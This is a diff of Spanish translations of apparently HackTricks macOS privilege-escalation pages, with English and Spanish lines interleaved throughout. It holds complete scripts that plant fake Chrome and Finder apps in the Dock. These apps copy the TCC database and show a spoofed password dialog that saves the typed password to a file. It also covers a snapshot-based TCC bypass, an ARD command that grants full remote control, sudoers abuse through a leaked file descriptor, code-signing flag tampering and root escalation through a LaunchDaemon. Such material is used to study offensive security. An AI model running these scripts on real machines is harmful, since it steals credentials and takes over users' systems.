sudo ls sudo ls
``` ```
Nota que un usuario que utiliza el terminal probablemente tendrá **Homebrew instalado**. Así que es posible secuestrar binarios en **`/opt/homebrew/bin`**.
Note that a user that uses the terminal will highly probable have **Homebrew installed**. So it's possible to hijack binaries in **`/opt/homebrew/bin`**. ### Suplantación del Dock
### Dock Impersonation Usando algo de **ingeniería social** podrías **suplantar por ejemplo Google Chrome** dentro del dock y ejecutar realmente tu propio script:
Using some **social engineering** you could **impersonate for example Google Chrome** inside the dock and actually execute your own script:
{{#tabs}} {{#tabs}}
{{#tab name="Chrome Impersonation"}} {{#tab name="Chrome Impersonation"}}
Some suggestions: Algunas sugerencias:
- Check in the Dock if there is a Chrome, and in that case **remove** that entry and **add** the **fake** **Chrome entry in the same position** in the Dock array.&#x20;
- Verifica en el Dock si hay un Chrome, y en ese caso **elimina** esa entrada y **agrega** la **entrada falsa** de **Chrome en la misma posición** en el array del Dock.&#x20;
```bash ```bash
#!/bin/sh #!/bin/sh
@ -72,13 +69,13 @@ cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
#include <unistd.h> #include <unistd.h>
int main() { int main() {
char *cmd = "open /Applications/Google\\\\ Chrome.app & " char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; " "sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " "osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); " "PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt"; "echo \$PASSWORD > /tmp/passwd.txt";
system(cmd); system(cmd);
return 0; return 0;
} }
EOF EOF
@ -94,22 +91,22 @@ cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
"http://www.apple.com/DTDs/PropertyList-1.0.dtd"> "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"> <plist version="1.0">
<dict> <dict>
<key>CFBundleExecutable</key> <key>CFBundleExecutable</key>
<string>Google Chrome</string> <string>Google Chrome</string>
<key>CFBundleIdentifier</key> <key>CFBundleIdentifier</key>
<string>com.google.Chrome</string> <string>com.google.Chrome</string>
<key>CFBundleName</key> <key>CFBundleName</key>
<string>Google Chrome</string> <string>Google Chrome</string>
<key>CFBundleVersion</key> <key>CFBundleVersion</key>
<string>1.0</string> <string>1.0</string>
<key>CFBundleShortVersionString</key> <key>CFBundleShortVersionString</key>
<string>1.0</string> <string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key> <key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string> <string>6.0</string>
<key>CFBundlePackageType</key> <key>CFBundlePackageType</key>
<string>APPL</string> <string>APPL</string>
<key>CFBundleIconFile</key> <key>CFBundleIconFile</key>
<string>app</string> <string>app</string>
</dict> </dict>
</plist> </plist>
EOF EOF
@ -122,18 +119,16 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
sleep 0.1 sleep 0.1
killall Dock killall Dock
``` ```
{{#endtab}} {{#endtab}}
{{#tab name="Finder Impersonation"}} {{#tab name="Imitación de Finder"}}
Some suggestions: Algunas sugerencias:
- You **cannot remove Finder from the Dock**, so if you are going to add it to the Dock, you could put the fake Finder just next to the real one. For this you need to **add the fake Finder entry at the beginning of the Dock array**.
- Another option is to not place it in the Dock and just open it, "Finder asking to control Finder" is not that weird.
- Another options to **escalate to root without asking** the password with a horrible box, is make Finder really ask for the password to perform a privileged action:
- Ask Finder to copy to **`/etc/pam.d`** a new **`sudo`** file (The prompt asking for the password will indicate that "Finder wants to copy sudo")
- Ask Finder to copy a new **Authorization Plugin** (You could control the file name so the prompt asking for the password will indicate that "Finder wants to copy Finder.bundle")
- No **puedes eliminar Finder del Dock**, así que si vas a añadirlo al Dock, podrías poner el Finder falso justo al lado del real. Para esto necesitas **añadir la entrada del Finder falso al principio del array del Dock**.
- Otra opción es no colocarlo en el Dock y simplemente abrirlo, "Finder pidiendo controlar Finder" no es tan raro.
- Otra opción para **escalar a root sin pedir** la contraseña con una horrible ventana, es hacer que Finder realmente pida la contraseña para realizar una acción privilegiada:
- Pedir a Finder que copie a **`/etc/pam.d`** un nuevo archivo **`sudo`** (El aviso pidiendo la contraseña indicará que "Finder quiere copiar sudo")
- Pedir a Finder que copie un nuevo **Plugin de Autorización** (Podrías controlar el nombre del archivo para que el aviso pidiendo la contraseña indique que "Finder quiere copiar Finder.bundle")
```bash ```bash
#!/bin/sh #!/bin/sh
@ -153,13 +148,13 @@ cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<EOF
#include <unistd.h> #include <unistd.h>
int main() { int main() {
char *cmd = "open /System/Library/CoreServices/Finder.app & " char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; " "sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " "osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); " "PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt"; "echo \$PASSWORD > /tmp/passwd.txt";
system(cmd); system(cmd);
return 0; return 0;
} }
EOF EOF
@ -175,22 +170,22 @@ cat << EOF > /tmp/Finder.app/Contents/Info.plist
"http://www.apple.com/DTDs/PropertyList-1.0.dtd"> "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"> <plist version="1.0">
<dict> <dict>
<key>CFBundleExecutable</key> <key>CFBundleExecutable</key>
<string>Finder</string> <string>Finder</string>
<key>CFBundleIdentifier</key> <key>CFBundleIdentifier</key>
<string>com.apple.finder</string> <string>com.apple.finder</string>
<key>CFBundleName</key> <key>CFBundleName</key>
<string>Finder</string> <string>Finder</string>
<key>CFBundleVersion</key> <key>CFBundleVersion</key>
<string>1.0</string> <string>1.0</string>
<key>CFBundleShortVersionString</key> <key>CFBundleShortVersionString</key>
<string>1.0</string> <string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key> <key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string> <string>6.0</string>
<key>CFBundlePackageType</key> <key>CFBundlePackageType</key>
<string>APPL</string> <string>APPL</string>
<key>CFBundleIconFile</key> <key>CFBundleIconFile</key>
<string>app</string> <string>app</string>
</dict> </dict>
</plist> </plist>
EOF EOF
@ -203,17 +198,15 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
sleep 0.1 sleep 0.1
killall Dock killall Dock
``` ```
{{#endtab}} {{#endtab}}
{{#endtabs}} {{#endtabs}}
## TCC - Root Privilege Escalation ## TCC - Escalación de Privilegios de Root
### CVE-2020-9771 - mount_apfs TCC bypass and privilege escalation ### CVE-2020-9771 - bypass de TCC en mount_apfs y escalación de privilegios
**Any user** (even unprivileged ones) can create and mount a time machine snapshot an **access ALL the files** of that snapshot.\
The **only privileged** needed is for the application used (like `Terminal`) to have **Full Disk Access** (FDA) access (`kTCCServiceSystemPolicyAllfiles`) which need to be granted by an admin.
**Cualquier usuario** (incluso los que no tienen privilegios) puede crear y montar un snapshot de Time Machine y **acceder a TODOS los archivos** de ese snapshot.\
El **único privilegio** necesario es que la aplicación utilizada (como `Terminal`) tenga acceso **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), lo cual debe ser concedido por un administrador.
```bash ```bash
# Create snapshot # Create snapshot
tmutil localsnapshot tmutil localsnapshot
@ -233,12 +226,11 @@ mkdir /tmp/snap
# Access it # Access it
ls /tmp/snap/Users/admin_user # This will work ls /tmp/snap/Users/admin_user # This will work
``` ```
Una explicación más detallada se puede [**encontrar en el informe original**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
A more detailed explanation can be [**found in the original report**](https://theevilbit.github.io/posts/cve_2020_9771/)**.** ## Información Sensible
## Sensitive Information Esto puede ser útil para escalar privilegios:
This can be useful to escalate privileges:
{{#ref}} {{#ref}}
macos-files-folders-and-binaries/macos-sensitive-locations.md macos-files-folders-and-binaries/macos-sensitive-locations.md

View File

@ -1,19 +1,18 @@
# macOS Network Services & Protocols # macOS Servicios de Red y Protocolos
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Remote Access Services ## Servicios de Acceso Remoto
These are the common macOS services to access them remotely.\ Estos son los servicios comunes de macOS para acceder a ellos de forma remota.\
You can enable/disable these services in `System Settings` --> `Sharing` Puedes habilitar/deshabilitar estos servicios en `System Settings` --> `Sharing`
- **VNC**, known as “Screen Sharing” (tcp:5900) - **VNC**, conocido como “Screen Sharing” (tcp:5900)
- **SSH**, called “Remote Login” (tcp:22) - **SSH**, llamado “Remote Login” (tcp:22)
- **Apple Remote Desktop** (ARD), or “Remote Management” (tcp:3283, tcp:5900) - **Apple Remote Desktop** (ARD), o “Remote Management” (tcp:3283, tcp:5900)
- **AppleEvent**, known as “Remote Apple Event” (tcp:3031) - **AppleEvent**, conocido como “Remote Apple Event” (tcp:3031)
Check if any is enabled running:
Verifica si alguno está habilitado ejecutando:
```bash ```bash
rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l); rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l); scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l);
@ -23,103 +22,90 @@ rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l);
bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l); bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l);
printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM"; printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";
``` ```
### Pentesting ARD ### Pentesting ARD
Apple Remote Desktop (ARD) is an enhanced version of [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) tailored for macOS, offering additional features. A notable vulnerability in ARD is its authentication method for the control screen password, which only uses the first 8 characters of the password, making it prone to [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) with tools like Hydra or [GoRedShell](https://github.com/ahhh/GoRedShell/), as there are no default rate limits. Apple Remote Desktop (ARD) es una versión mejorada de [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) adaptada para macOS, que ofrece características adicionales. Una vulnerabilidad notable en ARD es su método de autenticación para la contraseña de la pantalla de control, que solo utiliza los primeros 8 caracteres de la contraseña, lo que la hace propensa a [ataques de fuerza bruta](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) con herramientas como Hydra o [GoRedShell](https://github.com/ahhh/GoRedShell/), ya que no hay límites de tasa predeterminados.
Vulnerable instances can be identified using **nmap**'s `vnc-info` script. Services supporting `VNC Authentication (2)` are especially susceptible to brute force attacks due to the 8-character password truncation. Las instancias vulnerables se pueden identificar utilizando el script `vnc-info` de **nmap**. Los servicios que admiten `VNC Authentication (2)` son especialmente susceptibles a ataques de fuerza bruta debido a la truncación de la contraseña a 8 caracteres.
To enable ARD for various administrative tasks like privilege escalation, GUI access, or user monitoring, use the following command:
Para habilitar ARD para varias tareas administrativas como escalada de privilegios, acceso GUI o monitoreo de usuarios, utiliza el siguiente comando:
```bash ```bash
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
``` ```
ARD proporciona niveles de control versátiles, incluyendo observación, control compartido y control total, con sesiones que persisten incluso después de cambios de contraseña de usuario. Permite enviar comandos Unix directamente, ejecutándolos como root para usuarios administrativos. La programación de tareas y la búsqueda remota de Spotlight son características notables, facilitando búsquedas remotas de bajo impacto para archivos sensibles en múltiples máquinas.
ARD provides versatile control levels, including observation, shared control, and full control, with sessions persisting even after user password changes. It allows sending Unix commands directly, executing them as root for administrative users. Task scheduling and Remote Spotlight search are notable features, facilitating remote, low-impact searches for sensitive files across multiple machines. ## Protocolo Bonjour
## Bonjour Protocol Bonjour, una tecnología diseñada por Apple, permite que **los dispositivos en la misma red detecten los servicios ofrecidos entre sí**. También conocido como Rendezvous, **Zero Configuration** o Zeroconf, permite que un dispositivo se una a una red TCP/IP, **elija automáticamente una dirección IP** y transmita sus servicios a otros dispositivos de la red.
Bonjour, an Apple-designed technology, allows **devices on the same network to detect each other's offered services**. Known also as Rendezvous, **Zero Configuration**, or Zeroconf, it enables a device to join a TCP/IP network, **automatically choose an IP address**, and broadcast its services to other network devices. La Red de Configuración Cero, proporcionada por Bonjour, asegura que los dispositivos puedan:
Zero Configuration Networking, provided by Bonjour, ensures that devices can: - **Obtener automáticamente una dirección IP** incluso en ausencia de un servidor DHCP.
- Realizar **traducción de nombre a dirección** sin requerir un servidor DNS.
- **Descubrir servicios** disponibles en la red.
- **Automatically obtain an IP Address** even in the absence of a DHCP server. Los dispositivos que utilizan Bonjour se asignarán a sí mismos una **dirección IP del rango 169.254/16** y verificarán su unicidad en la red. Los Macs mantienen una entrada en la tabla de enrutamiento para esta subred, verificable a través de `netstat -rn | grep 169`.
- Perform **name-to-address translation** without requiring a DNS server.
- **Discover services** available on the network.
Devices using Bonjour will assign themselves an **IP address from the 169.254/16 range** and verify its uniqueness on the network. Macs maintain a routing table entry for this subnet, verifiable via `netstat -rn | grep 169`. Para DNS, Bonjour utiliza el **protocolo Multicast DNS (mDNS)**. mDNS opera sobre **el puerto 5353/UDP**, empleando **consultas DNS estándar** pero dirigiéndose a la **dirección de multidifusión 224.0.0.251**. Este enfoque asegura que todos los dispositivos escuchando en la red puedan recibir y responder a las consultas, facilitando la actualización de sus registros.
For DNS, Bonjour utilizes the **Multicast DNS (mDNS) protocol**. mDNS operates over **port 5353/UDP**, employing **standard DNS queries** but targeting the **multicast address 224.0.0.251**. This approach ensures that all listening devices on the network can receive and respond to the queries, facilitating the update of their records. Al unirse a la red, cada dispositivo selecciona un nombre por sí mismo, que típicamente termina en **.local**, el cual puede derivarse del nombre del host o ser generado aleatoriamente.
Upon joining the network, each device self-selects a name, typically ending in **.local**, which may be derived from the hostname or randomly generated. El descubrimiento de servicios dentro de la red es facilitado por **DNS Service Discovery (DNS-SD)**. Aprovechando el formato de los registros DNS SRV, DNS-SD utiliza **registros DNS PTR** para habilitar la lista de múltiples servicios. Un cliente que busca un servicio específico solicitará un registro PTR para `<Service>.<Domain>`, recibiendo a cambio una lista de registros PTR formateados como `<Instance>.<Service>.<Domain>` si el servicio está disponible desde múltiples hosts.
Service discovery within the network is facilitated by **DNS Service Discovery (DNS-SD)**. Leveraging the format of DNS SRV records, DNS-SD uses **DNS PTR records** to enable the listing of multiple services. A client seeking a specific service will request a PTR record for `<Service>.<Domain>`, receiving in return a list of PTR records formatted as `<Instance>.<Service>.<Domain>` if the service is available from multiple hosts. La utilidad `dns-sd` puede ser empleada para **descubrir y anunciar servicios de red**. Aquí hay algunos ejemplos de su uso:
The `dns-sd` utility can be employed for **discovering and advertising network services**. Here are some examples of its usage: ### Buscando servicios SSH
### Searching for SSH Services
To search for SSH services on the network, the following command is used:
Para buscar servicios SSH en la red, se utiliza el siguiente comando:
```bash ```bash
dns-sd -B _ssh._tcp dns-sd -B _ssh._tcp
``` ```
Este comando inicia la búsqueda de servicios \_ssh.\_tcp y muestra detalles como la marca de tiempo, las banderas, la interfaz, el dominio, el tipo de servicio y el nombre de la instancia.
This command initiates browsing for \_ssh.\_tcp services and outputs details such as timestamp, flags, interface, domain, service type, and instance name. ### Publicitando un Servicio HTTP
### Advertising an HTTP Service
To advertise an HTTP service, you can use:
Para publicitar un servicio HTTP, puedes usar:
```bash ```bash
dns-sd -R "Index" _http._tcp . 80 path=/index.html dns-sd -R "Index" _http._tcp . 80 path=/index.html
``` ```
Este comando registra un servicio HTTP llamado "Index" en el puerto 80 con una ruta de `/index.html`.
This command registers an HTTP service named "Index" on port 80 with a path of `/index.html`. Para luego buscar servicios HTTP en la red:
To then search for HTTP services on the network:
```bash ```bash
dns-sd -B _http._tcp dns-sd -B _http._tcp
``` ```
Cuando un servicio se inicia, anuncia su disponibilidad a todos los dispositivos en la subred mediante la difusión de su presencia. Los dispositivos interesados en estos servicios no necesitan enviar solicitudes, sino que simplemente escuchan estos anuncios.
When a service starts, it announces its availability to all devices on the subnet by multicasting its presence. Devices interested in these services don't need to send requests but simply listen for these announcements. Para una interfaz más amigable, la aplicación **Discovery - DNS-SD Browser** disponible en la App Store de Apple puede visualizar los servicios ofrecidos en su red local.
For a more user-friendly interface, the **Discovery - DNS-SD Browser** app available on the Apple App Store can visualize the services offered on your local network.
Alternatively, custom scripts can be written to browse and discover services using the `python-zeroconf` library. The [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) script demonstrates creating a service browser for `_http._tcp.local.` services, printing added or removed services:
Alternativamente, se pueden escribir scripts personalizados para navegar y descubrir servicios utilizando la biblioteca `python-zeroconf`. El script [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) demuestra cómo crear un navegador de servicios para los servicios `_http._tcp.local.`, imprimiendo los servicios añadidos o eliminados:
```python ```python
from zeroconf import ServiceBrowser, Zeroconf from zeroconf import ServiceBrowser, Zeroconf
class MyListener: class MyListener:
def remove_service(self, zeroconf, type, name): def remove_service(self, zeroconf, type, name):
print("Service %s removed" % (name,)) print("Service %s removed" % (name,))
def add_service(self, zeroconf, type, name): def add_service(self, zeroconf, type, name):
info = zeroconf.get_service_info(type, name) info = zeroconf.get_service_info(type, name)
print("Service %s added, service info: %s" % (name, info)) print("Service %s added, service info: %s" % (name, info))
zeroconf = Zeroconf() zeroconf = Zeroconf()
listener = MyListener() listener = MyListener()
browser = ServiceBrowser(zeroconf, "_http._tcp.local.", listener) browser = ServiceBrowser(zeroconf, "_http._tcp.local.", listener)
try: try:
input("Press enter to exit...\n\n") input("Press enter to exit...\n\n")
finally: finally:
zeroconf.close() zeroconf.close()
``` ```
### Deshabilitar Bonjour
### Disabling Bonjour Si hay preocupaciones sobre la seguridad u otras razones para deshabilitar Bonjour, se puede desactivar utilizando el siguiente comando:
If there are concerns about security or other reasons to disable Bonjour, it can be turned off using the following command:
```bash ```bash
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
``` ```
## Referencias
## References
- [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=) - [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)

View File

@ -6,10 +6,10 @@
Permisos en un **directorio**: Permisos en un **directorio**:
- **lectura** - puedes **enumerar** las entradas del directorio - **leer** - puedes **enumerar** las entradas del directorio
- **escritura** - puedes **eliminar/escribir** **archivos** en el directorio y puedes **eliminar carpetas vacías**. - **escribir** - puedes **eliminar/escribir** **archivos** en el directorio y puedes **eliminar carpetas vacías**.
- Pero **no puedes eliminar/modificar carpetas no vacías** a menos que tengas permisos de escritura sobre ellas. - Pero **no puedes eliminar/modificar carpetas no vacías** a menos que tengas permisos de escritura sobre ellas.
- **no puedes modificar el nombre de una carpeta** a menos que seas el propietario. - **No puedes modificar el nombre de una carpeta** a menos que seas el propietario.
- **ejecutar** - se te **permite recorrer** el directorio - si no tienes este derecho, no puedes acceder a ningún archivo dentro de él, ni en ningún subdirectorio. - **ejecutar** - se te **permite recorrer** el directorio - si no tienes este derecho, no puedes acceder a ningún archivo dentro de él, ni en ningún subdirectorio.
### Combinaciones Peligrosas ### Combinaciones Peligrosas
@ -18,7 +18,7 @@ Permisos en un **directorio**:
- Un **propietario de directorio** padre en la ruta es el usuario - Un **propietario de directorio** padre en la ruta es el usuario
- Un **propietario de directorio** padre en la ruta es un **grupo de usuarios** con **acceso de escritura** - Un **propietario de directorio** padre en la ruta es un **grupo de usuarios** con **acceso de escritura**
- Un **grupo** de usuarios tiene acceso de **escritura** al **archivo** - Un **grupo** de usuarios tiene **acceso de escritura** al **archivo**
Con cualquiera de las combinaciones anteriores, un atacante podría **inyectar** un **enlace simbólico/duro** en la ruta esperada para obtener una escritura arbitraria privilegiada. Con cualquiera de las combinaciones anteriores, un atacante podría **inyectar** un **enlace simbólico/duro** en la ruta esperada para obtener una escritura arbitraria privilegiada.
@ -30,10 +30,16 @@ Ejemplo en: [https://theevilbit.github.io/posts/exploiting_directory_permissions
## Enlace simbólico / Enlace duro ## Enlace simbólico / Enlace duro
### Archivo/carpeta permisivo
Si un proceso privilegiado está escribiendo datos en un **archivo** que podría ser **controlado** por un **usuario de menor privilegio**, o que podría haber sido **creado previamente** por un usuario de menor privilegio. El usuario podría simplemente **apuntarlo a otro archivo** a través de un enlace simbólico o duro, y el proceso privilegiado escribirá en ese archivo. Si un proceso privilegiado está escribiendo datos en un **archivo** que podría ser **controlado** por un **usuario de menor privilegio**, o que podría haber sido **creado previamente** por un usuario de menor privilegio. El usuario podría simplemente **apuntarlo a otro archivo** a través de un enlace simbólico o duro, y el proceso privilegiado escribirá en ese archivo.
Consulta en las otras secciones donde un atacante podría **abusar de una escritura arbitraria para escalar privilegios**. Consulta en las otras secciones donde un atacante podría **abusar de una escritura arbitraria para escalar privilegios**.
### Abrir `O_NOFOLLOW`
La bandera `O_NOFOLLOW` cuando es utilizada por la función `open` no seguirá un symlink en el último componente de la ruta, pero seguirá el resto de la ruta. La forma correcta de prevenir seguir symlinks en la ruta es utilizando la bandera `O_NOFOLLOW_ANY`.
## .fileloc ## .fileloc
Los archivos con extensión **`.fileloc`** pueden apuntar a otras aplicaciones o binarios, por lo que cuando se abren, la aplicación/binario será el que se ejecute.\ Los archivos con extensión **`.fileloc`** pueden apuntar a otras aplicaciones o binarios, por lo que cuando se abren, la aplicación/binario será el que se ejecute.\
@ -50,11 +56,15 @@ Ejemplo:
</dict> </dict>
</plist> </plist>
``` ```
## FD Arbitrario ## Descriptores de Archivo
Si puedes hacer que un **proceso abra un archivo o una carpeta con altos privilegios**, puedes abusar de **`crontab`** para abrir un archivo en `/etc/sudoers.d` con **`EDITOR=exploit.py`**, de modo que `exploit.py` obtenga el FD del archivo dentro de `/etc/sudoers` y lo abuse. ### Fuga de FD (sin `O_CLOEXEC`)
Por ejemplo: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098) Si una llamada a `open` no tiene la bandera `O_CLOEXEC`, el descriptor de archivo será heredado por el proceso hijo. Así que, si un proceso privilegiado abre un archivo privilegiado y ejecuta un proceso controlado por el atacante, el atacante **heredará el FD sobre el archivo privilegiado**.
Si puedes hacer que un **proceso abra un archivo o una carpeta con altos privilegios**, puedes abusar de **`crontab`** para abrir un archivo en `/etc/sudoers.d` con **`EDITOR=exploit.py`**, de modo que `exploit.py` obtenga el FD al archivo dentro de `/etc/sudoers` y lo abuse.
Por ejemplo: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), código: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
## Evitar trucos de xattrs de cuarentena ## Evitar trucos de xattrs de cuarentena
@ -142,11 +152,32 @@ No es realmente necesario, pero lo dejo ahí por si acaso:
macos-xattr-acls-extra-stuff.md macos-xattr-acls-extra-stuff.md
{{#endref}} {{#endref}}
## Bypass de verificaciones de firma
### Bypass de verificaciones de binarios de plataforma
Al algunas verificaciones de seguridad se les verifica si el binario es un **binario de plataforma**, por ejemplo, para permitir la conexión a un servicio XPC. Sin embargo, como se expone en un bypass en https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, es posible eludir esta verificación obteniendo un binario de plataforma (como /bin/ls) e inyectando el exploit a través de dyld usando una variable de entorno `DYLD_INSERT_LIBRARIES`.
### Bypass de las flags `CS_REQUIRE_LV` y `CS_FORCED_LV`
Es posible que un binario en ejecución modifique sus propias flags para eludir verificaciones con un código como:
```c
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
int pid = getpid();
NSString *exePath = NSProcessInfo.processInfo.arguments[0];
uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
status |= 0x2000; // CS_REQUIRE_LV
csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
```
## Bypass Code Signatures ## Bypass Code Signatures
Los bundles contienen el archivo **`_CodeSignature/CodeResources`** que contiene el **hash** de cada **archivo** en el **bundle**. Tenga en cuenta que el hash de CodeResources también está **incrustado en el ejecutable**, por lo que no podemos interferir con eso, tampoco. Los bundles contienen el archivo **`_CodeSignature/CodeResources`** que contiene el **hash** de cada **archivo** en el **bundle**. Ten en cuenta que el hash de CodeResources también está **incrustado en el ejecutable**, así que no podemos interferir con eso, tampoco.
Sin embargo, hay algunos archivos cuya firma no será verificada, estos tienen la clave omitida en el plist, como: Sin embargo, hay algunos archivos cuya firma no será verificada, estos tienen la clave omit en el plist, como:
```xml ```xml
<dict> <dict>
... ...
@ -217,8 +248,8 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
# You can also create a dmg from an app using: # You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg hdiutil create -srcfolder justsome.app justsome.dmg
``` ```
Usualmente, macOS monta discos comunicándose con el servicio Mach `com.apple.DiskArbitration.diskarbitrationd` (proporcionado por `/usr/libexec/diskarbitrationd`). Si se agrega el parámetro `-d` al archivo plist de LaunchDaemons y se reinicia, almacenará registros en `/var/log/diskarbitrationd.log`.\ Usualmente, macOS monta discos hablando con el servicio Mach `com.apple.DiskArbitration.diskarbitrationd` (proporcionado por `/usr/libexec/diskarbitrationd`). Si se agrega el parámetro `-d` al archivo plist de LaunchDaemons y se reinicia, almacenará registros en `/var/log/diskarbitrationd.log`.\
Sin embargo, es posible utilizar herramientas como `hdik` y `hdiutil` para comunicarse directamente con el kext `com.apple.driver.DiskImages`. Sin embargo, es posible usar herramientas como `hdik` y `hdiutil` para comunicarse directamente con el kext `com.apple.driver.DiskImages`.
## Escrituras Arbitrarias ## Escrituras Arbitrarias
@ -247,7 +278,7 @@ Escribe un **LaunchDaemon** arbitrario como **`/Library/LaunchDaemons/xyz.hacktr
</dict> </dict>
</plist> </plist>
``` ```
Simplemente genera el script `/Applications/Scripts/privesc.sh` con los **comandos** que te gustaría ejecutar como root. Solo genera el script `/Applications/Scripts/privesc.sh` con los **comandos** que te gustaría ejecutar como root.
